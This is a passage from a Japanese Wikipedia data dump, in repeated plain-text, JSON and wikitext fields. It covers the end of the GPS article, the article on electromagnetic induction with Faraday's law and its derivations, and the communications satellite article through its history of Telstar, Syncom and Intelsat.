* [[ロジャー・イーストン]]
* [[グローバル・ポジショニング・システムによる死]]
* [[広域増強システム]](WAAS)
* [[地域増強システム]](LAAS)
== 外部リンク ==
* [http://datahouse1.gsi.go.jp/ GPSデータクリアリングハウス]
* [https://terras.gsi.go.jp/ 電子基準点データ提供サービス]
* [http://www.confluence.org/ 「交点プロジェクト」サイト] {{en icon}}
* [https://www.gps.gov/ GPS: The Global Positioning System]{{En icon}}
{{衛星測位システム}}
{{航空機部品および航空機システム}}
{{Earthquake}}
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[[Category:GPS|*]]
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[[Category:船舶機器]] | 2003-04-17T02:17:08Z | 2023-10-14T22:45:23Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E3%82%B0%E3%83%AD%E3%83%BC%E3%83%90%E3%83%AB%E3%83%BB%E3%83%9D%E3%82%B8%E3%82%B7%E3%83%A7%E3%83%8B%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A0 |
6,839 | 電磁誘導 | 電磁誘導(でんじゆうどう、英語: electromagnetic induction)とは、磁束が変動する環境下に存在する導体に電位差が生じる現象である。また、このとき発生した電流を誘導電流という。
一般には、マイケル・ファラデーによって1831年に誘導現象が発見されたとされるが、先にジョセフ・ヘンリーに発見されている。また、フランセスコ・ツァンテデシが1829年に行った研究によって、既に予想されていたとも言われる。
ファラデーは、閉じた経路に発生する起電力が、その経路によって囲われた任意の面を通過する磁束の変化率に比例することを発見した。すなわち、これは導体によって囲われた面を通過する磁束が変化した時、すべての閉回路には電流が流れることを意味する。これは、磁束の強さが変化した場合や、導体が移動した場合でも同じである。
電磁誘導は、発電機、誘導電動機、変圧器など多くの電気機器の動作原理となっている。
ファラデーの電磁誘導の法則は、次のように示される。
ここで、 E {\displaystyle {\mathcal {E}}} は起電力(V)、 Φ {\displaystyle \Phi } は磁束(Wb)とする。
同じ領域にN回巻かれたコイルが置かれた場合、ファラデーの電磁誘導の法則は、次のようになる。
ここで、Nは電線の巻数とする。
起電力は磁束の変化の方向に向かって左回りに発生するが、物理学の慣習では向かって右回りが正であるとされるため(右ねじ関係)、左ねじ関係であるファラデーの電磁誘導の式には負号がつく。つまり、ファラデーの電磁誘導の式は起電力の大きさだけでなく向きも示している(向きだけを示した法則として、レンツの法則とフレミングの右手の法則がある)。
電場Eと磁束密度Bとの間には、
r o t E = − ∂ B ∂ t {\displaystyle \mathrm {rot} {\boldsymbol {E}}=-{\frac {\partial {\boldsymbol {B}}}{\partial t}}}
という関係式が成り立つ。これはマクスウェルの方程式の中の1つであるが、この式のことをファラデーの電磁誘導の法則と呼ぶこともある。 導体が移動せず、磁束密度Bのみが変化する場合を考える。空間内にある面Sを考え、その外周をCとする。上式の両辺をS上で面積分すると、左辺はストークスの定理を用いて、
∫ S r o t E ⋅ d S = ∫ C E ⋅ d r = E {\displaystyle \int _{S}\mathrm {rot} {\boldsymbol {E}}\cdot d{\boldsymbol {S}}=\int _{C}{\boldsymbol {E}}\cdot d{\boldsymbol {r}}={\mathcal {E}}}
となる。一方、右辺は、
∫ S ( − ∂ B ∂ t ) ⋅ d S = − d d t ∫ S B ⋅ d S = − d Φ d t {\displaystyle \int _{S}\left(-{\frac {\partial {\boldsymbol {B}}}{\partial t}}\right)\cdot d{\boldsymbol {S}}=-{\frac {d}{dt}}\int _{S}{\boldsymbol {B}}\cdot d{\boldsymbol {S}}=-{\frac {d\Phi }{dt}}}
となる。以上より、先に述べた
E = − d Φ d t {\displaystyle {\mathcal {E}}=-{\frac {d\Phi }{dt}}}
が得られる。
磁束密度 B が時間的に変化せず、導体上の閉じた経路 C の形が変化する場合を考える。このとき電磁誘導の法則は、導体内の電荷に及ぼされるローレンツ力で説明することができる。
経路 C 上の点を位置ベクトル r で表し、C の各点が速度 v(r) で動いているものとする。すると C 上の電荷 q の粒子が受けるローレンツ力は
となる。これは C 上に
で表される電場 E が生じているのと等価だから、起電力 E は、
となる。
一方、C が動くことによって C を貫く磁束が変化する。C 上の点 r から C 上を反時計回りに進んだ微小な線分を dr と表す。線分 dr は微小な時間 dt の間に v(r) dt だけ動くため、C を貫く磁束 Φ の変化に対する線分 dr の寄与は、
となる。これを C 上で積分し、両辺を dt で割ると、
となる。前述の起電力 E の式から、
が得られる。
コイルに電流を流すと磁場が発生する。この上に金属を置くと、電磁誘導により渦電流が発生し、抵抗により金属が発熱する。
これを電磁誘導加熱(IH)といい、産業用途では、ベアリングなどの部品を加熱するために用いられる。家庭用ではIHクッキングヒーターを代表とする電磁調理器が普及している。
IH調理器の場合、基本的には鉄やステンレスといった磁石に吸い付く性質のある金属でないと使用できなかったが、最新ものでは周波数や電流の流れ方を工夫することによって、アルミニウムや銅など金属であれば使えるものもある。ただし、鍋の底は平滑なものでなければならず、鉄製でも中華鍋のような底の丸いものは渦電流が発生しにくいので使えない。
また、IHクッキングヒーターの作動中は強い電磁波が発生しているため、心臓ペースメーカーが誤動作を起す可能性があり、導入に際しては医師に相談する必要もあるとされる。骨折等により体内への医療金属素材を使用している場合にも相談する必要がある。
時間変動する電場と磁場が空間を伝わってゆく現象。電磁誘導の法則とアンペールの法則から光速で空間を進行する電磁波の波動方程式が導かれる。電磁波とはその波動方程式の解であり、磁場あるいは電場の時間変化が互いの時間変化を作って空間を伝わっていく解である。また光も電磁波の一種である。
ローレンツ力や誘導磁場によって推進する手段で、レールガンやリニアモーター等に応用される。また、船の推進装置として実験船ヤマト1が作られた。 | [
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| 電磁誘導とは、磁束が変動する環境下に存在する導体に電位差が生じる現象である。また、このとき発生した電流を誘導電流という。 一般には、マイケル・ファラデーによって1831年に誘導現象が発見されたとされるが、先にジョセフ・ヘンリーに発見されている。また、フランセスコ・ツァンテデシが1829年に行った研究によって、既に予想されていたとも言われる。 ファラデーは、閉じた経路に発生する起電力が、その経路によって囲われた任意の面を通過する磁束の変化率に比例することを発見した。すなわち、これは導体によって囲われた面を通過する磁束が変化した時、すべての閉回路には電流が流れることを意味する。これは、磁束の強さが変化した場合や、導体が移動した場合でも同じである。 電磁誘導は、発電機、誘導電動機、変圧器など多くの電気機器の動作原理となっている。 | {{Redirect|電磁推進|ロケット|電気推進|船|電気推進 (船舶)}}
{{出典の明記|date=2012年3月}}
[[ファイル:Electromagnetic induction - solenoid to loop - animation.gif|サムネイル|277x277ピクセル|電磁誘導の模式図。左の[[コイル]]には交流電流が供給されており、それによって右の回路に誘導電流が発生している。]]
'''電磁誘導'''(でんじゆうどう、{{Lang-en|electromagnetic induction}}<ref>{{Citation|和書|author = [[文部省]]|editor = [[日本物理学会]]|title = [[学術用語集]] 物理学編|year = 1990|publisher = [[培風館]]|isbn = 4-563-02195-4}}</ref>)とは、[[磁束]]が変動する環境下に存在する[[電気伝導体|導体]]に[[電圧|電位差]]が生じる[[現象]]である。また、このとき発生した[[電流]]を[[誘導電流]]という。
一般には、[[マイケル・ファラデー]]によって[[1831年]]に誘導現象が発見されたとされるが、先に[[ジョセフ・ヘンリー]]に発見されている。また、[[フランセスコ・ツァンテデシ]]が[[1829年]]に行った研究によって、既に予想されていたとも言われる。
ファラデーは、閉じた経路に発生する[[起電力]]が、その経路によって囲われた任意の面を通過する磁束の変化率に[[比例]]することを発見した。すなわち、これは導体によって囲われた面を通過する磁束が変化した時、すべての閉回路には電流が流れることを意味する。これは、磁束の強さが変化した場合や、導体が移動した場合でも同じである。
電磁誘導は、[[発電機]]、[[誘導電動機]]、[[変圧器]]など多くの[[電気]]機器の動作原理となっている。
== 電磁誘導における起電力 ==
[[ファラデーの電磁誘導の法則]]は、次のように示される。
: <math>\mathcal{E} = -{{d\Phi} \over dt}</math>
ここで、<math>\mathcal{E}</math>は起電力([[ボルト (単位)|V]])、<math>\Phi</math> は磁束([[ウェーバ|Wb]])とする。
同じ領域に''N''回巻かれたコイルが置かれた場合、ファラデーの電磁誘導の法則は、次のようになる。
: <math>\mathcal{E} = - N{{d\Phi} \over dt}</math>
ここで、''N''は電線の巻数とする。
起電力は磁束の変化の方向に向かって左回りに発生するが、[[物理学]]の慣習では向かって右回りが正であるとされるため(右ねじ関係)、左ねじ関係であるファラデーの電磁誘導の式には[[負号]]がつく。つまり、ファラデーの電磁誘導の式は起電力の大きさだけでなく向きも示している(向きだけを示した[[法則]]として、[[レンツの法則]]と[[フレミングの右手の法則]]がある)。
== マクスウェル方程式を用いた説明 ==
[[電場]]'''''E'''''と[[磁束密度]]'''''B'''''との間には、{{indent|<math>\mathrm{rot}\boldsymbol{E} = -\frac{\partial\boldsymbol{B}}{\partial t}</math>}} という関係式が成り立つ。これは[[マクスウェルの方程式]]の中の1つであるが、この式のことをファラデーの電磁誘導の法則と呼ぶこともある。
導体が移動せず、磁束密度'''''B'''''のみが変化する場合を考える。空間内にある面''S''を考え、その外周を''C''とする。上式の両辺を''S''上で[[面積分]]すると、左辺は[[ストークスの定理]]を用いて、{{indent|<math>
\int_S \mathrm{rot}\boldsymbol{E} \cdot d\boldsymbol{S}
= \int_C \boldsymbol{E} \cdot d\boldsymbol{r}
= \mathcal{E}
</math>}} となる。一方、右辺は、{{indent|<math>
\int_S \left( -\frac{\partial\boldsymbol{B}}{\partial t} \right) \cdot d\boldsymbol{S}
= -\frac{d}{dt} \int_S \boldsymbol{B} \cdot d\boldsymbol{S}
= -\frac{d\Phi}{dt}
</math>}} となる。以上より、先に述べた {{indent|<math>\mathcal{E} = -\frac{d\Phi}{dt}</math>}} が得られる。
== ローレンツ力を用いた説明 ==
[[磁束密度]] {{mvar|'''B'''}} が時間的に変化せず、[[電気伝導体|導体]]上の閉じた経路 {{mvar|C}} の形が変化する場合を考える。このとき電磁誘導の法則は、導体内の[[電荷]]に及ぼされる[[ローレンツ力]]で説明することができる。
経路 {{mvar|C}} 上の点を位置ベクトル {{mvar|'''r'''}} で表し、{{mvar|C}} の各点が[[速度]] {{math|'''''v'''''('''''r''''')}} で動いているものとする。すると {{mvar|C}} 上の電荷 {{mvar|q}} の粒子が受けるローレンツ力は
<math display="block">
\boldsymbol{F}(\boldsymbol{r})
= q\boldsymbol{v}(\boldsymbol{r}) \times \boldsymbol{B}(\boldsymbol{r})
</math>
となる。これは {{mvar|C}} 上に
<math display="block">
\boldsymbol{E}(\boldsymbol{r})
= \boldsymbol{v}(\boldsymbol{r}) \times \boldsymbol{B}(\boldsymbol{r})
</math>
で表される電場 {{mvar|'''E'''}} が生じているのと等価だから{{疑問点|date=2021年7月|title=怪しい&誤解を招きかねない説明。静止系では実際に E なる電場が生じるわけではないし。}}、[[起電力]] {{mvar|ℰ}} は、
<math display="block">
\mathcal{E}
= \int_C \boldsymbol{E} \cdot d\boldsymbol{r}
= \int_C (\boldsymbol{v} \times \boldsymbol{B}) \cdot d\boldsymbol{r}
</math>
となる。
一方、{{mvar|C}} が動くことによって {{mvar|C}} を貫く[[磁束]]が変化する。{{mvar|C}} 上の点 {{mvar|'''r'''}} から {{mvar|C}} 上を反時計回りに進んだ微小な線分を {{mvar|d'''r'''}} と表す。線分 {{mvar|d'''r'''}} は微小な時間 {{mvar|dt}} の間に {{math|'''''v'''''('''''r''''') ''dt''}} だけ動くため、{{mvar|C}} を貫く磁束 {{mvar|Φ}} の変化に対する線分 {{mvar|d'''r'''}} の寄与は、
<math display="block">
d^2\Phi
= (\boldsymbol{v}dt \times d\boldsymbol{r}) \cdot \boldsymbol{B}
= -(\boldsymbol{v} \times \boldsymbol{B}) \cdot d\boldsymbol{r} \, dt
</math>
となる。これを {{mvar|C}} 上で積分し、両辺を {{mvar|dt}} で割ると、
<math display="block">
\frac{d\Phi}{dt}
= -\int_C (\boldsymbol{v} \times \boldsymbol{B}) \cdot d\boldsymbol{r}
</math>
となる。前述の起電力 {{mvar|ℰ}} の式から、
<math display="block">
\mathcal{E} = -\frac{d\Phi}{dt}
</math>
が得られる。
== 電磁誘導加熱 ==
{{Main|誘導加熱}}
[[コイル]]に電流を流すと[[磁場]]が発生する。この上に[[金属]]を置くと、電磁誘導により[[渦電流]]が発生し、[[電気抵抗|抵抗]]により金属が[[発熱]]する。
これを[[電磁誘導加熱]]({{Lang|en|IH}})といい、産業用途では、ベアリングなどの部品を加熱するために用いられる。家庭用ではIHクッキングヒーターを代表とする[[電磁調理器]]が普及している。
IH調理器の場合、基本的には鉄やステンレスといった磁石に吸い付く性質のある金属でないと使用できなかったが、最新ものでは周波数や電流の流れ方を工夫することによって、[[アルミニウム]]や[[銅]]など金属であれば使えるものもある。ただし、鍋の底は平滑なものでなければならず、鉄製でも[[中華鍋]]のような底の丸いものは渦電流が発生しにくいので使えない。
また、IHクッキングヒーターの作動中は強い[[電磁波]]が発生しているため、[[心臓ペースメーカー]]が誤動作を起す可能性があり、導入に際しては[[医師]]に相談する必要もあるとされる。骨折等により体内への医療金属素材を使用している場合にも相談する必要がある。
== 電磁波 ==
時間変動する[[電場]]と[[磁場]]が空間を伝わってゆく現象。電磁誘導の法則とアンペールの法則から光速で空間を進行する電磁波の[[波動方程式]]が導かれる。電磁波とはその波動方程式の解であり、磁場あるいは電場の時間変化が互いの時間変化を作って空間を伝わっていく解である。また光も電磁波の一種である。
== 電磁推進 ==
ローレンツ力や誘導磁場によって推進する手段で、[[レールガン]]や[[リニアモーター]]等に応用される。また、船の推進装置として実験船[[ヤマト1]]が作られた。
== 脚注 ==
{{脚注ヘルプ}}{{Reflist}}
== 関連項目 ==
{{Wikibooks|電磁気学}}
{{Commonscat|Electromagnetic induction}}
* [[マクスウェルの方程式]]
* [[レンツの法則]]
* [[磁気誘導]]
* [[静電誘導]]
* [[誘導障害]]
{{電磁気学}}
{{Normdaten}}
{{DEFAULTSORT:てんしゆうとう}}
[[Category:電磁気学]]
[[Category:電気理論]]
[[Category:物理現象]]
[[Category:マクスウェルの方程式]]
[[tr:İndüksiyon (Elektromanyetik indüksiyon)]] | 2003-04-17T03:10:39Z | 2023-12-30T01:45:34Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E9%9B%BB%E7%A3%81%E8%AA%98%E5%B0%8E |
6,840 | 通信衛星 | 通信衛星(、英: communications satellite)とは、マイクロ波帯の電波を用いた無線通信を目的として、宇宙空間に打ち上げられた人工衛星である。CSやCOMSAT(コムサット)などと略される。その出力が大きく、使用目的が人工衛星から直接放送するものを放送衛星(BSまたはDBS)という。
現在ほとんどの通信衛星は静止軌道または準静止軌道を用いるが、最近は低軌道や中軌道の衛星コンステレーションを用いる通信システムもある。ロシアは地理的に高緯度であることからモルニヤ軌道の通信衛星を用いる例もある。
通信衛星は光ケーブルを用いた海底ケーブルと相補的な技術を提供するものである。
近年の大容量化が進んだ海底ケーブルに比べて、通信衛星は伝送能力が低く、遅延時間も大きいことから、2015年時点では、国際通信のほぼ99%を海底ケーブルが担っている。
通信衛星はアーサー・C・クラークが初めて提唱したものとされるが、ポトチュニックの1928年の先行作品に基づくものである。クラークは1945年に「ワイヤレス・ワールド」誌で「地球外の中継器」と題する記事を著し、無線信号を中継するために人工衛星を静止軌道に配備する方法の基本原理を説明したことから、一般にアーサー・C・クラークが通信衛星の発明者として知られた。
クラーク達の発表当時は宇宙空間に人工衛星を運ぶ具体的な手段がなかったが、1957年にソビエト連邦が人工衛星スプートニクの打ち上げに成功して実現性が検討された。当初は軌道上で安定に動作する中継機のトランスポンダの開発が困難で、受動型衛星のエコー1号と2号で実験された。この衛星は金属皮膜をもつ風船で、軌道上の衛星を電波信号の反射板として用いるものである。利用する電波の周波数を選択可能で構造が単純で故障しにくいが、地上からの電波の送信に大電力を要する大きな欠点があった。
地上から送信された電波信号を衛星で受信して電力増幅し、高利得のアンテナにより地上に向けてダウンリンクする能動型衛星の開発が行われた。
テルスター衛星は初めての能動型通信衛星である。ベル研究所で開発されたCバンドのトランスポンダを装備していた。この際のアップリンク6ギガヘルツ帯、ダウンリンク4GHz帯という周波数の組み合わせはその後広く通信衛星で用いられるものとなった。この衛星は1962年7月10日、NASAによりケープカナベラル宇宙基地から初の民間企業がスポンサーとなって打ち上げられた。テルスター衛星は2時間37分で周回する、軌道傾斜角45度の楕円軌道(遠地点 約5,600km、近地点 約950km)に投入された。テルスターはAT&Tに所属するがこれはAT&T、ベル研究所、アメリカ航空宇宙局、イギリス郵政省、フランス郵政省間の衛星通信技術を開発するための多国間合意によるものである。
その後、トランスポンダの数や帯域を増やし送信電力も高めたリレー1号衛星も1962年12月13日に打ち上げられた。このリレー1号を用いて、1963年11月23日に行われていた初の日米間テレビ伝送実験中にジョン・F・ケネディ米国大統領の暗殺事件が報道され、その映像は視聴者に強烈な印象を与えた。
1964年、静止通信衛星による国際通信網を運営するための国際協同の組織・インテルサットが日本や米国を含む18カ国で作られた。インテルサットは1965年にインテルサット I号シリーズの衛星を打ち上げて商用の国際衛星通信サービスと開始した。
ソビエト連邦はモルニヤ衛星を使ったが、1973年に打ち上げられたカナダのアニク 1号は世界初の国内通信用の静止通信衛星であった。
シンコム 1号は、最初の静止通信衛星となる予定であった。1963年2月14日、ケープ・カナベラルから人工衛星打ち上げ用の中型ロケット、デルタ B 16号機でシンコム 1号が打ち上げられたが電子回路が故障、静止軌道に向かう途中で沈黙した。
同年7月26日、デルタ B 20号機でシンコム 2号が打ち上げられた。ただし完全な静止状態ではなく、メキシコ沖の大西洋上空で8の字に動いていた。アメリカ航空宇宙局による音声、映像、テレタイプ端末、ファクシミリのテストに成功している。帯域幅に制限があるため、映像中継に音声は付けず、その品質は良くなかったが視聴は許容できる範囲であった。
1964年8月19日、デルタ D 25号機でシンコム 3号が打ち上げられ、問題なく太平洋の赤道域上空、経度180度で静止。同年の東京オリンピックにおいて日米間のテレビ画像伝送がシンコム 3号を用いて実施され、通信衛星の有用性を広く世界の放送・通信関係者に印象付けることとなった。1965年1月1日にアメリカ国防総省へ引き渡し、軍事用通信として活用した。1969年4月に停止した。
低軌道衛星は、軌道周期が1日よりかなり短い低高度の衛星で、利用者の上空を通過する時間のみが通信可能であるが、通信可能範囲を広げるために多数の衛星を必要とし、一群の衛星を連動して稼動する場合は衛星コンステレーションを編成する。GPS衛星や携帯電話サービス用の衛星電話のイリジウムなどが該当する。
移動体間で通信したりインターネットに接続が可能。イリジウム衛星、iPSTAR、スターリンク衛星など。
主に静止軌道上から他の軌道を周回する衛星や宇宙船から通信を中継する。TDRSなど。
放送は、技術的には通信の一形態であるが、日本では郵政省(総務省の前身)が不特定多数向けを『放送』で、企業など認可団体の限定者向けを『通信』として、それぞれ厳格に区別し、用いる人工衛星もそれぞれ専用のものを使用していた。
直接放送衛星(DBS)による放送(衛星放送/BS放送)は、放送用に設計された高出力の人工衛星を用い、家庭の小型DBS用アンテナに向けて直接送信する。放送衛星はKuバンド(K-under。Kバンドの下で12GHz - 18GHz)の高い方の周波数用いる。
1989年(平成元年)10月1日に放送法が改正され、企業や業者向けの番組・プログラムを送信など、特定目的以外の利用を禁じていた通信衛星を利用した、不特定多数への直接放送(CS放送)が可能になった。1996年(平成8年)にCSデジタルプラットフォーム事業者の日本デジタル放送サービスが、CSデジタル放送事業の「パーフェクTV!」を開始した。
総務省は2009年(平成21年)2月に、CS放送のうち放送衛星と同じ東経110度に打ち上げられた通信衛星のN-SAT-110を利用するスカパー!などの衛星放送を、法制度上「特別衛星放送」としてBSデジタル放送と普及計画を一本化した。スカパー!プレミアムサービスなどの通信衛星を使用した衛星放送は「一般衛星放送」として扱われる。 | [
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"text": "通信衛星はアーサー・C・クラークが初めて提唱したものとされるが、ポトチュニックの1928年の先行作品に基づくものである。クラークは1945年に「ワイヤレス・ワールド」誌で「地球外の中継器」と題する記事を著し、無線信号を中継するために人工衛星を静止軌道に配備する方法の基本原理を説明したことから、一般にアーサー・C・クラークが通信衛星の発明者として知られた。",
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"text": "低軌道衛星は、軌道周期が1日よりかなり短い低高度の衛星で、利用者の上空を通過する時間のみが通信可能であるが、通信可能範囲を広げるために多数の衛星を必要とし、一群の衛星を連動して稼動する場合は衛星コンステレーションを編成する。GPS衛星や携帯電話サービス用の衛星電話のイリジウムなどが該当する。",
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"text": "移動体間で通信したりインターネットに接続が可能。イリジウム衛星、iPSTAR、スターリンク衛星など。",
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"text": "放送は、技術的には通信の一形態であるが、日本では郵政省(総務省の前身)が不特定多数向けを『放送』で、企業など認可団体の限定者向けを『通信』として、それぞれ厳格に区別し、用いる人工衛星もそれぞれ専用のものを使用していた。",
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"text": "直接放送衛星(DBS)による放送(衛星放送/BS放送)は、放送用に設計された高出力の人工衛星を用い、家庭の小型DBS用アンテナに向けて直接送信する。放送衛星はKuバンド(K-under。Kバンドの下で12GHz - 18GHz)の高い方の周波数用いる。",
"title": "衛星放送(放送衛星と通信衛星の違い)"
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"text": "1989年(平成元年)10月1日に放送法が改正され、企業や業者向けの番組・プログラムを送信など、特定目的以外の利用を禁じていた通信衛星を利用した、不特定多数への直接放送(CS放送)が可能になった。1996年(平成8年)にCSデジタルプラットフォーム事業者の日本デジタル放送サービスが、CSデジタル放送事業の「パーフェクTV!」を開始した。",
"title": "衛星放送(放送衛星と通信衛星の違い)"
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"text": "総務省は2009年(平成21年)2月に、CS放送のうち放送衛星と同じ東経110度に打ち上げられた通信衛星のN-SAT-110を利用するスカパー!などの衛星放送を、法制度上「特別衛星放送」としてBSデジタル放送と普及計画を一本化した。スカパー!プレミアムサービスなどの通信衛星を使用した衛星放送は「一般衛星放送」として扱われる。",
"title": "衛星放送(放送衛星と通信衛星の違い)"
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]
| 通信衛星(つうしんえいせい、とは、マイクロ波帯の電波を用いた無線通信を目的として、宇宙空間に打ち上げられた人工衛星である。CSやCOMSATなどと略される。その出力が大きく、使用目的が人工衛星から直接放送するものを放送衛星という。 | {{出典の明記|date=2016年7月7日 (木) 11:53 (UTC)}}
{{読み仮名|'''通信衛星'''|つうしんえいせい|{{lang-en-short|communications satellite}}}}とは、[[マイクロ波]]帯の[[電波]]を用いた[[無線通信]]を目的として、[[宇宙空間]]に打ち上げられた[[人工衛星]]である。'''CS'''やCOMSAT(コムサット)などと略される。その出力が大きく、使用目的が人工衛星から直接[[放送]]するものを[[放送衛星]](BSまたはDBS)という。{{Main2|通信衛星を用いた放送サービス|衛星放送}}
== 概要 ==
現在ほとんどの通信衛星は[[静止軌道]]または準静止軌道を用いるが、最近は[[低軌道]]や[[中軌道]]の[[衛星コンステレーション]]を用いる通信システムもある。[[ロシア]]は地理的に高緯度であることから[[モルニヤ軌道]]の通信衛星を用いる例もある。{{Main2|軌道の特性|人工衛星の軌道}}通信衛星は[[光ケーブル]]を用いた[[海底ケーブル]]と相補的な技術を提供するものである。
近年の大容量化が進んだ海底ケーブルに比べて、通信衛星は伝送能力が低く、遅延時間も大きいことから、2015年時点では、国際通信のほぼ99%を海底ケーブルが担っている<ref>{{Cite web|和書|url=https://www.itmedia.co.jp/enterprise/articles/1507/24/news046.html|title=こんなに細くて大丈夫? 知られざる「海底ケーブル」の世界 (1/2)|publisher=ITmedia エンタープライズ|date=2015-07-24|accessdate=2018-04-29}}</ref>。
== アイデア ==
通信衛星は[[アーサー・C・クラーク]]が初めて提唱したものとされるが、[[:en:Herman Potocnik|ポトチュニック]]の[[1928年]]の先行作品に基づくものである。クラークは[[1945年]]に「ワイヤレス・ワールド」誌で「地球外の中継器」と題する記事を著し、無線[[信号 (電気工学)|信号]]を[[中継方式|中継]]するために人工衛星を静止軌道に配備する方法の基本原理を説明したことから、一般にアーサー・C・クラークが通信衛星の発明者として知られた。
== 通信衛星の形態 ==
=== 受動型通信衛星 ===
{{要出典範囲|クラーク達の発表当時は[[宇宙空間]]に人工衛星を運ぶ具体的な手段がなかったが、[[1957年]]に[[ソビエト連邦]]が人工衛星[[スプートニク1号|スプートニク]]の打ち上げに成功して実現性が検討された。当初は軌道上で安定に動作する中継機の[[トランスポンダ]]の開発が困難で、'''受動型衛星'''の[[エコー (人工衛星)|エコー]]1号と2号で実験された。この衛星は金属皮膜をもつ[[風船]]で、軌道上の衛星を電波信号の[[反射板]]として用いるものである。利用する電波の[[周波数]]を選択可能で構造が単純で故障しにくいが、地上からの[[アップリンク|電波の送信]]に[[電力|大電力]]を要する大きな欠点があった。|date=2016年7月7日 (木) 11:53 (UTC)}}
=== 能動型通信衛星 ===
地上から送信された電波信号を衛星で受信して電力[[増幅]]し、高利得の[[アンテナ]]により地上に向けて[[ダウンリンク]]する'''能動型衛星'''の開発が行われた。
[[テルスター衛星]]は初めての'''能動型通信衛星'''である。[[ベル研究所]]で開発された[[電波の周波数による分類|Cバンド]]のトランスポンダを装備していた。この際のアップリンク6[[ギガ]][[ヘルツ (単位)|ヘルツ]]帯、ダウンリンク4GHz帯という周波数の組み合わせはその後広く通信衛星で用いられるものとなった。この衛星は[[1962年]]7月10日、[[アメリカ航空宇宙局|NASA]]により[[ケネディ宇宙センター|ケープカナベラル宇宙基地]]から初の[[民間企業]]が[[スポンサー]]となって打ち上げられた。テルスター衛星は2時間37分で周回する、軌道傾斜角45度の[[楕円軌道]]([[近点・遠点|遠地点]] 約5,600km、近地点 約950km)に投入された。テルスターは[[AT&T]]に所属するがこれは[[AT&T]]、ベル研究所、[[アメリカ航空宇宙局]]、[[イギリス]]郵政省、[[フランス]]郵政省間の[[衛星通信]]技術を開発するための多国間合意によるものである。
その後、トランスポンダの数や帯域を増やし送信電力も高めたリレー1号衛星も1962年[[12月13日]]に打ち上げられた。このリレー1号を用いて、[[1963年]][[11月23日]]に行われていた初の日米間[[テレビ]]伝送実験中に[[ジョン・F・ケネディ]][[アメリカ合衆国大統領|米国大統領]]の[[ケネディ大統領暗殺事件|暗殺事件]]が報道され、その映像は視聴者に強烈な印象を与えた。
=== 静止通信衛星 ===
1964年、静止通信衛星による国際通信網を運営するための国際協同の組織・[[インテルサット]]が日本や米国を含む18カ国で作られた。インテルサットは[[1965年]]にインテルサット I号シリーズの衛星を打ち上げて商用の国際衛星通信サービスと開始した。
[[ソビエト連邦]]は[[モルニヤ衛星]]を使ったが、[[1973年]]に打ち上げられた[[カナダ]]のアニク 1号は世界初の国内通信用の静止通信衛星であった。
==== シンコム ====
[[ファイル:Syncom 2 side.jpg|サムネイル|静止通信衛星 シンコム 2号のサイド]]
[[ファイル:Syncom LEASAT.jpg|サムネイル|シンコム 4号(リーサット)]]
{{See also|:en:Syncom}}
シンコム 1号は、最初の静止通信衛星となる予定であった。[[1963年]]2月14日、[[ケープ・カナベラル]]から人工衛星打ち上げ用の中型ロケット、[[デルタロケット|デルタ]] B 16号機でシンコム 1号が打ち上げられたが電子回路が故障、[[静止軌道]]に向かう途中で沈黙した。
同年7月26日、デルタ B 20号機でシンコム 2号が打ち上げられた。ただし完全な静止状態ではなく、メキシコ沖の大西洋上空で8の字に動いていた。[[アメリカ航空宇宙局]]による音声、映像、[[テレタイプ端末]]、[[ファクシミリ]]のテストに成功している。帯域幅に制限があるため、映像中継に音声は付けず、その品質は良くなかったが視聴は許容できる範囲であった<ref>{{Cite web|和書|url=http://spaceinfo.jaxa.jp/ja/syncom_2.html|title=シンコム2号|accessdate=2018-01-06|publisher=宇宙情報センター([[宇宙航空研究開発機構]])|language=ja|archiveurl=https://web.archive.org/web/20180106071906/http://spaceinfo.jaxa.jp/ja/syncom_2.html|archivedate=2018-01-06|deadlinkdate=2022-01-05}}</ref><ref>{{Cite web|url=https://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19650019255.pdf|title=Television Tests with the Syncom II Synchronous Communications Satellite (NASA technical note D-2911)|first=Varice F.|last=Henry|first2=Michael E.|last2=McDonald|work=ntrs.nasa.gov|publisher=[[アメリカ航空宇宙局]]|date=July 1965|format=PDF|accessdate=2018-01-06}}</ref>。
[[1964年]]8月19日、デルタ D 25号機でシンコム 3号が打ち上げられ、問題なく太平洋の赤道域上空、経度180度で静止。同年の[[1964年東京オリンピック|東京オリンピック]]において日米間のテレビ画像伝送がシンコム 3号を用いて実施され、通信衛星の有用性を広く世界の放送・通信関係者に印象付けることとなった。1965年1月1日に[[アメリカ国防総省]]へ引き渡し、軍事用通信として活用した。[[1969年]]4月に停止した<ref>{{Cite web|和書|url=http://spaceinfo.jaxa.jp/ja/syncom_3.html|title=シンコム3号|accessdate=2018-01-06|publisher=宇宙情報センター([[宇宙航空研究開発機構]])|language=ja|archiveurl=https://web.archive.org/web/20180106073250/http://spaceinfo.jaxa.jp/ja/syncom_3.html|archivedate=2018-01-06|deadlinkdate=2022-01-05}}</ref><ref>{{Cite web|url=https://nssdc.gsfc.nasa.gov/nmc/spacecraft/display.action?id=1964-047A|title=Syncom 3|accessdate=2022-01-05|publisher=[[アメリカ航空宇宙局]]|date=1964-08-19|language=en}}</ref><ref>{{Cite web|和書|url=https://news.tv-asahi.co.jp/news_society/articles/000223430.html|title=五輪の映像を“宇宙中継”で世界へ 巨大アンテナ|accessdate=2022-01-05|publisher=[[テレビ朝日]]|date=2021-07-22|language=ja}}</ref>。
=== 低軌道衛星 ===
[[低軌道]]衛星は、軌道周期が1日よりかなり短い低高度の衛星で、利用者の上空を通過する時間のみが通信可能であるが、通信可能範囲を広げるために多数の衛星を必要とし、一群の衛星を連動して稼動する場合は衛星コンステレーションを編成する。[[GPS衛星]]や携帯電話サービス用の[[衛星電話]]のイリジウムなどが該当する。
== 衛星の種類 ==
{{Main2|日本国内の通信衛星の種類|日本における衛星放送#衛星の種類}}
=== インターネット衛星 ===
移動体間で通信したりインターネットに接続が可能。[[イリジウム衛星]]、[[タイコム (人工衛星)#タイコム4号(IPSTAR)|iPSTAR]]、[[スターリンク]]衛星など。
=== 中継衛星 ===
主に静止軌道上から他の軌道を周回する衛星や宇宙船から通信を中継する。[[TDRS]]など。
== 衛星放送(放送衛星と通信衛星の違い) ==
